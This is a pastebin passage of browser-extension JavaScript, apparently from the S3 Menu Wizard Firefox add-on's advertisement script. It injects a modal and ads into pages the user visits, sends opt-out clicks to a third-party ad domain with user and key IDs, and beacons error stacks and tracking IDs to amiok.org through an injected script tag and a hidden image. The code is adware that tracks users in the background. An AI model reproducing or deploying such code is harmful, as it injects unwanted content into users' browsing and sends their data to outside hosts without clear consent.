rgba(0,0,0,.5);background-clip:padding-box}.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1030;background-color:#000}.modal-backdrop.fade{opacity:0;filter:alpha(opacity=0)}.modal-backdrop.in{opacity:.5;filter:alpha(opacity=50)}.modal-header{min-height:16.428571429px;padding:15px;border-bottom:1px solid #e5e5e5}.modal-header .close{margin-top:-2px}.modal-title{margin:0;line-height:1.428571429}.modal-body{position:relative;padding:20px}.modal-footer{padding:19px 20px 20px;margin-top:15px;text-align:right;border-top:1px solid #e5e5e5}.modal-footer:after,.modal-footer:before{display:table;content:" "}.modal-footer:after{clear:both}.modal-footer .btn+.btn{margin-bottom:0;margin-left:5px}@media screen and (min-width:768px){.modal-dialog{width:600px;margin:30px auto}.modal-content{-webkit-box-shadow:0 5px 15px rgba(0,0,0,.5);box-shadow:0 5px 15px rgba(0,0,0,.5)}}</style><content><div class="modal-content" style="font-family:\'Segoe UI\',\'Droid Sans\',Arial,sans-serif; width:650px"><div class="modal-header"><button type="button" class="close" id="close-btn" data-dismiss="modal" aria-hidden="true"><img src="//amiok.org/ext/images/close-cross.png" width="16" height="16"></button><h4 class="modal-title" id="myModalLabel"><b>' +
  2346.                             a[f].tbParams.title +
  2347.                             '\'s development is supported by <u style="position:static">optional</u> ads</b></h4></div><div class="modal-body">' +
  2348.                             a[f].tbParams.title +
  2349.                             '\'s development is supported by <b>optional</b> advertisements that are added to some of the websites you visit. During the development of this extension, I\'ve put in thousands of hours adding features, fixing bugs and making things betternot mentioning the support of all the users who ask for help.<br><br>Ads support most of the internet we all use and love; without them, the internet we have today would simply not exist. Similarly, without revenue, this extension (and the upcoming new ones) would not be possible.<br><br><b>You can disable these ads now or later in the settings page. You can also minimize the ads appearance by clicking on partial support button. Both of these options are available by clicking \'x\' button in the corner of each ad.</b> In both cases,your choice will remain in effect unless you reinstall or reset the extension.</div><div class="modal-footer"><button type="button" id="full-support" class="btn btn-success btn-lg">Fully Support</button><button type="button" id="partial-support" class="btn btn-default">Partially Support</button><p style="text-align:left;width:100%;"><a id="no-support" style="text-decoration:underline;" href="#">No, I don\'t want to support you work</a></p></div></div></content>'
  2350.                         );
  2351.                         i.close();
  2352.                         i.getElementById("full-support").onclick = function() {
  2353.                             b.optoutHide();
  2354.                             b.loadedCallback("OPTOUT_CLK_FULLSUPPORT");
  2355.                             return false
  2356.                         };
  2357.                         i.getElementById("close-btn").onclick = function() {
  2358.                             b.optoutHide();
  2359.                             b.loadedCallback("OPTOUT_CLK_CLOSE");
  2360.                             return false
  2361.                         };
  2362.                         i.getElementById("partial-support").onclick = function() {
  2363.                             window.open(
  2364.                                 "http://thisadsfor.us/optout?t=319&u=49499&key=13fdb1e5ae9a9b3a61&block=" +
  2365.                                 b.currentOptoutBlock);
  2366.                             b.optoutHide();
  2367.                             b.loadedCallback("OPTOUT_CLK_PARTSUPPORT")
  2368.                         };
  2369.                         i.getElementById("no-support").onclick = function() {
  2370.                             window.open(
  2371.                                 "http://thisadsfor.us/optout?t=319&u=49499&key=13fdb1e5ae9a9b3a61&block=" +
  2372.                                 b.currentOptoutBlock);
  2373.                             b.optoutHide();
  2374.                             b.loadedCallback("OPTOUT_CLK_NOSUPPORT")
  2375.                         }
  2376.                     };
  2377.                     if (g.contentDocument || g.contentWindow) {
  2378.                         h()
  2379.                     } else {
  2380.                         b.on(g, "load", h);
  2381.                         d = setTimeout(h, 5000)
  2382.                     }
  2383.                     b.twBarOptOut = a[f].twBarOptOut = g
  2384.                 }
  2385.             })(document, window, "__twb__13fdb1e5ae9a9b3a61", undefined);;
  2386.             d.loadedCallback("FINISHED", "", location.host)
  2387.         })
  2388.     });;
  2389.     try {
  2390.         b(document, window)
  2391.     } catch (c) {
  2392.         var h = (typeof c.stack != "undefined" ? c.stack : "!empty stack!");
  2393.         if (h.length > 1500) {
  2394.             h = h.substr(0, 1500)
  2395.         }
  2396.         var a = (i.location.protocol == "http:" ? "http:" : "https:") +
  2397.             "//amiok.org/log/?l=error&m=" + encodeURIComponent((typeof c.message !=
  2398.                 "undefined" ? c.message : "!empty message!") + "|" + h);
  2399.         var k = document.createElement("script");
  2400.         k.type = "text/javascript";
  2401.         k.src = a + (a.indexOf("?") == -1 ? "?" : "&") + "t=" + (new Date().getTime());
  2402.         (document.getElementsByTagName("script")[0] || document.documentElement.firstChild)
  2403.         .parentNode.appendChild(k);
  2404.         (function() {
  2405.             var e = ["mid=", "wid=" + (i[g] && i[g].tbParams && i[g].tbParams.wid) ? i[
  2406.                     g].tbParams.wid : "", "sid=" + (i[g] && i[g].tbParams && i[g].tbParams.sid) ?
  2407.                 i[g].tbParams.sid : "", "tid=" + (i[g] && i[g].tbParams && i[g].tbParams
  2408.                     .tid) ? i[g].tbParams.tid : "", "rid=CORE_JS_ERROR"
  2409.             ];
  2410.             a = (i.location.protocol == "http:" ? "http:" : "https:") +
  2411.                 "//amiok.org/metric/?" + e.join("&");
  2412.             var d = f.createElement("img");
  2413.             d.setAttribute("style", "width:0;height:0;display:none;visibility:hidden;");
  2414.             d.src = a + (a.indexOf("?") == -1 ? "?" : "&") + "t=" + (new Date().getTime());
  2415.             f.getElementsByTagName("body")[0].appendChild(d);
  2416.             if (typeof d.onload != j) {
  2417.                 d.onload = function() {
  2418.                     d.parentNode && d.parentNode.removeChild(d)
  2419.                 }
  2420.             }
  2421.         })()
  2422.     }
  2423. }(document, window));
  2424.  
  2425.  
  2426.  
  2427. #  source URL https://s3.amazonaws.com/js-static/13fdb1e5ae9a9b3a61.js
  2428. #  chrome://s3menuwizard/content/advertisement.js
  2429. #  https://addons.mozilla.org/en-US/firefox/addon/s3menu-wizard/
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement